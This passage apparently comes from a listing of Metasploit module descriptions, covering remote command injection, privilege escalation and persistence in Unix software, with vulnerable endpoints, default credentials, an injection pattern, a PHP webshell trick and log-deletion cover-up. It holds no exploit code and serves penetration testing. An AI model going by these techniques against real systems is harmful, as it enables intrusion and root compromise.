  Disclosed: 2018-05-31

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a command injection vulnerability in Quest KACE
  Systems Management Appliance version 8.0.318 (and possibly prior).

  The `download_agent_installer.php` file allows unauthenticated users
  to execute arbitrary commands as the web server user `www`.

  A valid Organization ID is required. The default value is `1`.

  A valid Windows agent version number must also be provided. If file
  sharing is enabled, the agent versions are available within the
  `\kace.local\client\agent_provisioning\windows_platform` Samba
share.
  Additionally, various agent versions are listed on the KACE website.

  This module has been tested successfully on Quest KACE Systems
  Management Appliance K1000 version 8.0 (Build 8.0.318).

End Exploit Number 1060

Begin Exploit Number 1061
       Name: RaspAP Unauthenticated Command Injection
     Module: exploit/unix/http/raspap_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-31

Payload information:

Description:
  RaspAP is feature-rich wireless router software that just works
  on many popular Debian-based devices, including the Raspberry Pi.
  A Command Injection vulnerability in RaspAP versions 2.8.0 thru
2.8.7 allows
  unauthenticated attackers to execute arbitrary commands in the
context of the user running RaspAP via the cfg_id
  parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/
del_ovpncfg.php.

  Successfully tested against RaspAP 2.8.0 and 2.8.7.
```

```
End Exploit Number 1061

Begin Exploit Number 1062
       Name: Schneider Electric Pelco Endura NET55XX Encoder
     Module: exploit/unix/http/schneider_electric_net55xx_encoder
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-01-25

Payload information:

Description:
  This module exploits inadequate access controls within the webUI to
enable
  the SSH service and change the root password. This module has been
tested successfully
  on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516,
NET550 versions.

End Exploit Number 1062

Begin Exploit Number 1063
       Name: Splunk Authenticated XSLT Upload RCE
     Module: exploit/unix/http/splunk_xslt_authenticated_rce
   Platform: Unix, Linux
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-11-28

Payload information:

Description:
  This Metasploit module exploits a Remote Code Execution (RCE)
vulnerability in Splunk Enterprise.
  The affected versions include 9.0.x before 9.0.7 and 9.1.x before
9.1.2. The exploitation process leverages
  a weakness in the XSLT transformation functionality of Splunk.
Successful exploitation requires valid
  credentials, typically 'admin:changeme' by default.

  The exploit involves uploading a malicious XSLT file to the target
system. This file, when processed by the
  vulnerable Splunk server, leads to the execution of arbitrary code.
The module then utilizes the 'runshellscript'
```

```
  capability in Splunk to execute the payload, which can be tailored
to establish a reverse shell. This provides
  the attacker with remote control over the compromised Splunk
instance. The module is designed to work
  seamlessly, ensuring successful exploitation under the right
conditions.

End Exploit Number 1063

Begin Exploit Number 1064
       Name: Syncovery For Linux Web-GUI Authenticated Remote Command
Execution
     Module: exploit/unix/http/syncovery_linux_rce_2022_36534
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-09-06

Payload information:

Description:
  This module exploits an authenticated command injection
vulnerability in the Web GUI of Syncovery File Sync & Backup Software
for Linux.
  Successful exploitation results in remote code execution under the
context of the root user.

  Syncovery allows an authenticated user to create jobs, which are
executed before/after a profile is run.
  Jobs can contain arbitrary system commands and will be executed as
root.
  A valid username and password or a session token is needed to
exploit the vulnerability.
  The profile and its log file will be deleted afterwards to disguise
the attack.

  The vulnerability is known to work on Linux platforms. All Syncovery
versions prior to v9.48j are vulnerable including all versions of
branch 8.

End Exploit Number 1064

Begin Exploit Number 1065
       Name: tnftp "savefile" Arbitrary Command Execution
     Module: exploit/unix/http/tnftp_savefile
   Platform: Unix
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-28

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command execution vulnerability in
  tnftp's handling of the resolved output filename - called "savefile"
in
  the source - from a requested resource.

  If tnftp is executed without the -o command-line option, it will
resolve
  the output filename from the last component of the requested
resource.

  If the output filename begins with a "|" character, tnftp will pass
the
  fetched resource's output to the command directly following the "|"
  character through the use of the popen() function.

End Exploit Number 1065

Begin Exploit Number 1066
       Name: TWiki Debugenableplugins Remote Code Execution
     Module: exploit/unix/http/twiki_debug_plugins
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-09

Payload information:
  Avoid: 0 characters

Description:
  TWiki 4.0.x-6.0.0  contains a vulnerability in the Debug
functionality.
  The value of the debugenableplugins parameter is used without proper
sanitization
  in an Perl eval statement which allows remote code execution.

End Exploit Number 1066

Begin Exploit Number 1067
       Name: VMTurbo Operations Manager vmtadmin.cgi Remote Command
Execution
```

```
       Module: exploit/unix/http/vmturbo_vmtadmin_exec_noauth
     Platform: Linux, Unix
         Arch: 
   Privileged: No
      License: Metasploit Framework License (BSD)
         Rank: Excellent
    Disclosed: 2014-06-25

Payload information:

Description:
  VMTurbo Operations Manager 4.6 and prior are vulnerable to
unauthenticated
  OS Command injection in the web interface. Use reverse payloads for
the most
  reliable results. Since it is a blind OS command injection
vulnerability,
  there is no output for the executed command when using the cmd
generic payload.
  Port binding payloads are disregarded due to the restrictive
firewall settings.

  This module has been tested successfully on VMTurbo Operations
Manager versions 4.5 and
  4.6.

End Exploit Number 1067

Begin Exploit Number 1068
         Name: xdebug Unauthenticated OS Command Execution
       Module: exploit/unix/http/xdebug_unauth_exec
     Platform: PHP
         Arch: php
   Privileged: No
      License: Metasploit Framework License (BSD)
         Rank: Excellent
    Disclosed: 2017-09-17

Payload information:

Description:
  Module exploits a vulnerability in the eval command present in
Xdebug versions 2.5.5 and below.
  This allows the attacker to execute arbitrary php code as the
context of the web user.

End Exploit Number 1068

Begin Exploit Number 1069
         Name: Zivif Camera iptest.cgi Blind Remote Command Execution
     Module: exploit/unix/http/zivif_ipcheck_exec
   Platform: Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-09-01

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a remote command execution vulnerability in 
Zivif
  webcams.  This is known to impact versions prior to and including 
v2.3.4.2103.
  Exploit was reported in CVE-2017-17105.

End Exploit Number 1069

Begin Exploit Number 1070
       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
the
  Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
2010.

End Exploit Number 1070

Begin Exploit Number 1071
       Name: at(1) Persistence
     Module: exploit/unix/local/at_persistence
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 1997-01-01

Payload information:

Description:
  This module achieves persistence by executing payloads via at(1).


End Exploit Number 1071

Begin Exploit Number 1072
       Name: Chkrootkit Local Privilege Escalation
     Module: exploit/unix/local/chkrootkit
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-06-04

Payload information:

Description:
  Chkrootkit before 0.50 will run any executable file named /tmp/
update
  as root, allowing a trivial privilege escalation.

  WfsDelay is set to 24h, since this is how often a chkrootkit scan is
  scheduled by default.

End Exploit Number 1072

Begin Exploit Number 1073
       Name: Emacs movemail Privilege Escalation
     Module: exploit/unix/local/emacs_movemail
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1986-08-01

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a SUID installation of the Emacs movemail
utility
  to run a command as root by writing to 4.3BSD's /usr/lib/
```

```
crontab.local.

  The vulnerability is documented in Cliff Stoll's book The Cuckoo's
Egg.

End Exploit Number 1073

Begin Exploit Number 1074
       Name: Exim "perl_startup" Privilege Escalation
     Module: exploit/unix/local/exim_perl_startup
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-10

Payload information:
  Avoid: 2 characters

Description:
  This module exploits a Perl injection vulnerability in Exim < 4.86.2
  given the presence of the "perl_startup" configuration parameter.

End Exploit Number 1074

Begin Exploit Number 1075
       Name: NetBSD mail.local Privilege Escalation
     Module: exploit/unix/local/netbsd_mail_local
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-07-07

Payload information:

Description:
  This module attempts to exploit a race condition in mail.local with
SUID bit set on:
  NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
  NetBSD 6.1 - 6.1.5
  NetBSD 6.0 - 6.0.6
  Successful exploitation relies on a crontab job with root privilege,
which may take up to 10min to execute.

End Exploit Number 1075

Begin Exploit Number 1076
```

```
       Name: OpenSMTPD OOB Read Local Privilege Escalation
     Module: exploit/unix/local/opensmtpd_oob_read_lpe
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2020-02-24

Payload information:

Description:
  This module exploits an out-of-bounds read of an attacker-controlled
  string in OpenSMTPD's MTA implementation to execute a command as the
  root or nobody user, depending on the kind of grammar OpenSMTPD
uses.

End Exploit Number 1076

Begin Exploit Number 1077
       Name: Setuid Nmap Exploit
     Module: exploit/unix/local/setuid_nmap
   Platform: BSD, Linux, Unix
       Arch: cmd, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-19

Payload information:

Description:
  Nmap's man page mentions that "Nmap should never be installed with
  special privileges (e.g. suid root) for security reasons.." and
  specifically avoids making any of its binaries setuid during
  installation.  Nevertheless, administrators sometimes feel the need
  to do insecure things.  This module abuses a setuid nmap binary by
  writing out a lua nse script containing a call to os.execute().

  Note that modern interpreters will refuse to run scripts on the
  command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
  payloads will most likely not work.


End Exploit Number 1077

Begin Exploit Number 1078
       Name: DistCC Daemon Command Execution
     Module: exploit/unix/misc/distcc_exec
   Platform: Unix
```

```
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2002-02-01

Payload information:
  Space: 1024

Description:
  This module uses a documented security weakness to execute
  arbitrary commands on any system running distccd.

End Exploit Number 1078

Begin Exploit Number 1079
       Name: Polycom Command Shell Authorization Bypass
     Module: exploit/unix/misc/polycom_hdx_auth_bypass
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-18

Payload information:
  Space: 8000

Description:
  The login component of the Polycom Command Shell on Polycom HDX
  video endpoints, running software versions 3.0.5 and earlier,
  is vulnerable to an authorization bypass when simultaneous
  connections are made to the service, allowing remote network
  attackers to gain access to a sandboxed telnet prompt without
  authentication. Versions prior to 3.0.4 contain OS command
  injection in the ping command which can be used to execute
  arbitrary commands as root.

End Exploit Number 1079

Begin Exploit Number 1080
       Name: Polycom Shell HDX Series Traceroute Command Execution
     Module: exploit/unix/misc/polycom_hdx_traceroute_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-12
```

```
Payload information:
  Space: 8000

Description:
  Within Polycom command shell, a command execution flaw exists in
  lan traceroute, one of the dev commands, which allows for an
  attacker to execute arbitrary payloads with telnet or openssl.

End Exploit Number 1080

Begin Exploit Number 1081
       Name: SpamAssassin spamd Remote Command Execution
     Module: exploit/unix/misc/spamassassin_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-06-06

Payload information:
  Space: 1024

Description:
  This module exploits a flaw in the SpamAssassin spamd service by
specifying
  a malicious vpopmail User header, when running with vpopmail and
paranoid
  modes enabled (non-default). Versions prior to v3.1.3 are vulnerable

End Exploit Number 1081

Begin Exploit Number 1082
       Name: Xerox Multifunction Printers (MFP) "Patch" DLM
Vulnerability
     Module: exploit/unix/misc/xerox_mfp
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-03-07

Payload information:
  Space: 512

Description:
  This module exploits a vulnerability found in Xerox Multifunction
Printers (MFP). By
  supplying a modified Dynamic Loadable Module (DLM), it is possible
```

```
to execute arbitrary
  commands under root privileges.

End Exploit Number 1082

Begin Exploit Number 1083
       Name: Zabbix Agent net.tcp.listen Command Injection
     Module: exploit/unix/misc/zabbix_agent_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-09-10

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a metacharacter injection vulnerability
  in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
  can only be exploited if the attacker can hijack the IP address
  of an authorized server (as defined in the configuration file).

End Exploit Number 1083

Begin Exploit Number 1084
       Name: ClamAV Milter Blackhole-Mode Remote Code Execution
     Module: exploit/unix/smtp/clamav_milter_blackhole
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-08-24

Payload information:
  Space: 1024

Description:
  This module exploits a flaw in the Clam AntiVirus suite 'clamav-
milter'
  (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
  When implemented with black hole mode enabled, it is possible to
execute
  commands remotely due to an insecure popen call.

End Exploit Number 1084
```

```
Begin Exploit Number 1085
       Name: Exim4 string_format Function Heap Buffer Overflow
     Module: exploit/unix/smtp/exim4_string_format
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-07

Payload information:
  Space: 8192

Description:
  This module exploits a heap buffer overflow within versions of Exim
prior to
  version 4.69. By sending a specially crafted message, an attacker
can corrupt the
  heap and execute arbitrary code with the privileges of the Exim
daemon.

  The root cause is that no check is made to ensure that the buffer is
not full
  prior to handling '%s' format specifiers within the 'string_vformat'
function.
  In order to trigger this issue, we get our message rejected by
sending a message
  that is too large. This will call into log_write to log rejection
headers (which
  is a default configuration setting). After filling the buffer, a
long header
  string is sent. In a successful attempt, it overwrites the ACL for
the 'MAIL
  FROM' command. By sending a second message, the string we sent will
be evaluated
  with 'expand_string' and arbitrary shell commands can be executed.

  It is likely that this issue could also be exploited using other
techniques such
  as targeting in-band heap management structures, or perhaps even
function pointers
  stored in the heap. However, these techniques would likely be far
more platform
  specific, more complicated, and less reliable.

  This bug was original found and reported in December 2008, but was
not
  properly handled as a security issue. Therefore, there was a 2 year
lag time
  between when the issue was fixed and when it was discovered being
```

```
exploited
  in the wild. At that point, the issue was assigned a CVE and began
being
  addressed by downstream vendors.

  An additional vulnerability, CVE-2010-4345, was also used in the
attack that
  led to the discovery of danger of this bug. This bug allows a local
user to
  gain root privileges from the Exim user account. If the Perl
interpreter is
  found on the remote system, this module will automatically exploit
the
  secondary bug as well to get root.

End Exploit Number 1085

Begin Exploit Number 1086
       Name: Morris Worm sendmail Debug Mode Shell Escape
     Module: exploit/unix/smtp/morris_sendmail_debug
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 1988-11-02

Payload information:

Description:
  This module exploits sendmail's well-known historical debug mode to
  escape to a shell and execute commands in the SMTP RCPT TO command.

  This vulnerability was exploited by the Morris worm in 1988-11-02.
  Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

  Currently, only cmd/unix/reverse and cmd/unix/generic are supported.

End Exploit Number 1086

Begin Exploit Number 1087
       Name: OpenSMTPD MAIL FROM Remote Code Execution
     Module: exploit/unix/smtp/opensmtpd_mail_from_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-01-28
```

```
Payload information:

Description:
  This module exploits a command injection in the MAIL FROM field
during
  SMTP interaction with OpenSMTPD to execute a command as the root
user.

End Exploit Number 1087

Begin Exploit Number 1088
       Name: Qmail SMTP Bash Environment Variable Injection
(Shellshock)
     Module: exploit/unix/smtp/qmail_bash_env_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-24

Payload information:
  Space: 888
  Avoid: 1 characters

Description:
  This module exploits a shellshock vulnerability on Qmail, a public
  domain MTA written in C that runs on Unix systems.
  Due to the lack of validation on the MAIL FROM field, it is possible
to
  execute shell code on a system with a vulnerable BASH (Shellshock).
  This flaw works on the latest Qmail versions (qmail-1.03 and
  netqmail-1.06).
  However, in order to execute code, /bin/sh has to be linked to bash
  (usually default configuration) and a valid recipient must be set on
the
  RCPT TO field (usually admin@exampledomain.com).
  The exploit does not work on the "qmailrocks" community version
  as it ensures the MAILFROM field is well-formed.

End Exploit Number 1088

Begin Exploit Number 1089
       Name: SonicWall Global Management System XMLRPC set_time_zone
Unauth RCE
     Module: exploit/unix/sonicwall/sonicwall_xmlrpc_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2016-07-22

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in SonicWall Global
  Management System Virtual Appliance versions 8.1 (Build 8110.1197)
  and below. This virtual appliance can be downloaded from
  http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
  holistic way to manage your entire network security environment.'

  These vulnerable versions (8.1 Build 8110.1197 and below) do not
  prevent unauthenticated, external entities from making XML-RPC
  requests to port 21009 of the virtual app. After the XML-RPC call
  is made, a shell script is called like so:
  'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.

End Exploit Number 1089

Begin Exploit Number 1090
       Name: Arista restricted shell escape (with privesc)
     Module: exploit/unix/ssh/arista_tacplus_shell
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-02-02

Payload information:

Description:
  This exploit module takes advantage of a poorly configured TACACS+
config,
  Arista's bash shell and TACACS+ read-only account to privilage
escalate.
  A CVSS v3 base score of 9.8 has been assigned.

End Exploit Number 1090

Begin Exploit Number 1091
       Name: Array Networks vAPV and vxAG Private Key Privilege
Escalation Code Execution
     Module: exploit/unix/ssh/array_vxag_vapv_privkey_privesc
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2014-02-03

Payload information:

Description:
  This module exploits a default hardcoded private SSH key or default 
hardcoded
  login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances 
made
  by Array Networks. After logged in as the unprivileged user, it's 
possible to modify
  the world-writable file /ca/bin/monitor.sh with attacker-supplied 
arbitrary code.
  Execution is possible by using the backend tool, running setuid, to 
turn the debug
  monitoring on. This makes it possible to trigger a payload with root 
privileges.

End Exploit Number 1091

Begin Exploit Number 1092
       Name: Tectia SSH USERAUTH Change Request Password Reset 
Vulnerability
     Module: exploit/unix/ssh/tectia_passwd_changereq
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-01

Payload information:

Description:
  This module exploits a vulnerability in Tectia SSH server for Unix-
based
  platforms.  The bug is caused by a 
SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
  before password authentication, allowing any remote user to bypass 
the login
  routine, and then gain access as root.

End Exploit Number 1092

Begin Exploit Number 1093
       Name: ActualAnalyzer 'ant' Cookie Command Execution
     Module: exploit/unix/webapp/actualanalyzer_ant_cookie_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-28

Payload information:
  Space: 4096
  Avoid: 1 characters

Description:
  This module exploits a command execution vulnerability in
  ActualAnalyzer version 2.81 and prior.

  The 'aa.php' file allows unauthenticated users to
  execute arbitrary commands in the 'ant' cookie.

End Exploit Number 1093

Begin Exploit Number 1094
       Name: Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE
     Module: exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
   Platform: Linux, Unix
       Arch: armle, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-17

Payload information:

Description:
  This module exploits LFI and log poisoning vulnerabilities
  (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a
  build-242466 and older in order to achieve unauthenticated remote
  code execution as the root user. NetConfig is the Aerohive/Extreme
  Networks HiveOS administrative webinterface. Vulnerable versions
  allow for LFI because they rely on a version of PHP 5 that is
  vulnerable to string truncation attacks. This module leverages this
  issue in conjunction with log poisoning to gain RCE as root.

  Upon successful exploitation, the Aerohive NetConfig application
  may hang for as long as the spawned shell remains open. For the
  Linux target, the MeterpreterTryToFork option (enabled by default)
  will likely prevent this. If the app hangs, closing the session
  should render it responsive again.

  The module provides an automatic cleanup option to clean the log.
  However, this option is disabled by default because any
modifications
  to the /tmp/messages log, even via sed, may render the target
  (temporarily) unexploitable. This state can last over an hour.

  This module has been successfully tested against Aerohive NetConfig
  versions 8.2r4 and 10.0r7a.

End Exploit Number 1094

Begin Exploit Number 1095
       Name: Ajenti auth username Command Injection
     Module: exploit/unix/webapp/ajenti_auth_username_cmd_injection
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-10-14

Payload information:

Description:
  This module exploits a command injection in Ajenti == 2.1.31.
  By injecting a command into the username POST parameter to api/core/
auth, a shell can be spawned.

End Exploit Number 1095

Begin Exploit Number 1096
       Name: Western Digital Arkeia Remote Code Execution
     Module: exploit/unix/webapp/arkeia_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-16

Payload information:

Description:
  This module exploits a vulnerability found in Western Digital Arkeia
Appliance
  version 10.0.10 and lower. By abusing the upload.php script,
  a malicious user can upload arbitrary code to the ApplianceUpdate
file in the temp
  directory without authentication. Abusing the local file inclusion
in the lang
  cookie to parse this file results in arbitrary code execution, also
without
  authentication. The module has been tested successfully on Arkeia
10.0.10. The issues
```

```
  have been fixed in version 10.1.10.

End Exploit Number 1096

Begin Exploit Number 1097
       Name: AWStats configdir Remote Command Execution
     Module: exploit/unix/webapp/awstats_configdir_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-01-15

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
the
  AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1
and 6.2
  are vulnerable.

End Exploit Number 1097

Begin Exploit Number 1098
       Name: AWStats migrate Remote Command Execution
     Module: exploit/unix/webapp/awstats_migrate_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-05-04

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
the
  AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
  payloads are recommended with this module. The vulnerability is only
  present when AllowToUpdateStatsFromBrowser is enabled in the AWStats
  configuration file (non-default).

End Exploit Number 1098

Begin Exploit Number 1099
```

```
       Name: AWStats Totals multisort Remote Command Execution
     Module: exploit/unix/webapp/awstatstotals_multisort
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-08-26

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in 
the
  AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are 
vulnerable.

End Exploit Number 1099

Begin Exploit Number 1100
       Name: Barracuda IMG.PL Remote Command Execution
     Module: exploit/unix/webapp/barracuda_img_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-09-01

Payload information:
  Space: 4000

Description:
  This module exploits an arbitrary command execution vulnerability in 
the
  Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are 
vulnerable.

End Exploit Number 1100

Begin Exploit Number 1101
       Name: BASE base_qry_common Remote File Include
     Module: exploit/unix/webapp/base_qry_common
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-06-14
```

```
Payload information:
  Space: 32768

Description:
  This module exploits a remote file inclusion vulnerability in
  the base_qry_common.php file in BASE 1.2.4 and earlier.

End Exploit Number 1101

Begin Exploit Number 1102
       Name: Basilic 1.5.14 diff.php Arbitrary Command Execution
     Module: exploit/unix/webapp/basilic_diff_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-28

Payload information:

Description:
  This module abuses a metacharacter injection vulnerability in the
  diff.php script. This flaw allows an unauthenticated attacker to
execute arbitrary
  commands as the www-data user account.

End Exploit Number 1102

Begin Exploit Number 1103
       Name: Bolt CMS 3.7.0 - Authenticated Remote Code Execution
     Module: exploit/unix/webapp/bolt_authenticated_rce
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-05-07

Payload information:

Description:
  This module exploits multiple vulnerabilities in Bolt CMS version
3.7.0
  and 3.6.* in order to execute arbitrary commands as the user running
Bolt.

  This module first takes advantage of a vulnerability that allows an
  authenticated user to change the username in /bolt/profile to a PHP
  `system($_GET[""])` variable. Next, the module obtains a list of
tokens
  from `/async/browse/cache/.sessions` and uses these to create files
with
  the blacklisted `.php` extention via HTTP POST requests to
  `/async/folder/rename`. For each created file, the module checks the
HTTP
  response for evidence that the file can be used to execute arbitrary
  commands via the created PHP $_GET variable. If the response is
negative,
  the file is deleted, otherwise the payload is executed via an HTTP
  get request in this format: `/files/<rogue_PHP_file>?
<$_GET_var>=<payload>`

  Valid credentials for a Bolt CMS user are required. This module has
been
  successfully tested against Bolt CMS 3.7.0 running on CentOS 7.

End Exploit Number 1103

Begin Exploit Number 1104
       Name: Cacti graph_view.php Remote Command Execution
     Module: exploit/unix/webapp/cacti_graphimage_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-01-15

Payload information:
  Space: 512

Description:
  This module exploits an arbitrary command execution vulnerability in
the
  Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti
prior to
  0.8.6-d are vulnerable.

End Exploit Number 1104

Begin Exploit Number 1105
       Name: CakePHP Cache Corruption Code Execution
     Module: exploit/unix/webapp/cakephp_cache_corruption
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-11-15

Payload information:
  Space: 4000

Description:
  CakePHP is a popular PHP framework for building web applications. 
The
  Security component of CakePHP versions 1.3.5 and earlier and 1.2.8 
and
  earlier is vulnerable to an unserialize attack which could be abused 
to
  allow unauthenticated attackers to execute arbitrary code with the
  permissions of the webserver.

End Exploit Number 1105

Begin Exploit Number 1106
       Name: Carberp Web Panel C2 Backdoor Remote PHP Code Execution
     Module: exploit/unix/webapp/carberp_backdoor_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-06-28

Payload information:
  Space: 10000

Description:
  This module exploits backdoors that can be found all over the leaked
  source code of the Carberp botnet C2 Web Panel.

End Exploit Number 1106

Begin Exploit Number 1107
       Name: Citrix Access Gateway Command Execution
     Module: exploit/unix/webapp/citrix_access_gateway_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-21

Payload information:
  Space: 127

Description:
  The Citrix Access Gateway provides support for multiple
authentication types.
  When utilizing the external legacy NTLM authentication module known
as
  ntlm_authenticator the Access Gateway spawns the Samba 'samedit'
command
  line utility to verify a user's identity and password.  By embedding
shell
  metacharacters in the web authentication form it is possible to
execute
  arbitrary commands on the Access Gateway.

End Exploit Number 1107

Begin Exploit Number 1108
       Name: ClipBucket Remote Code Execution
     Module: exploit/unix/webapp/clipbucket_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-04

Payload information:

Description:
  This module exploits a vulnerability found in ClipBucket version 2.6
and lower.
  The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can
be used to
  upload arbitrary code without any authentication. This module has
been tested
  on version 2.6 on CentOS 5.9 32-bit.

End Exploit Number 1108

Begin Exploit Number 1109
       Name: Coppermine Photo Gallery picEditor.php Command Execution
     Module: exploit/unix/webapp/coppermine_piceditor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-01-30

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  This module exploits a vulnerability in the picEditor.php script of
  Coppermine Photo Gallery versions 1.4.14 and earlier. When
configured to
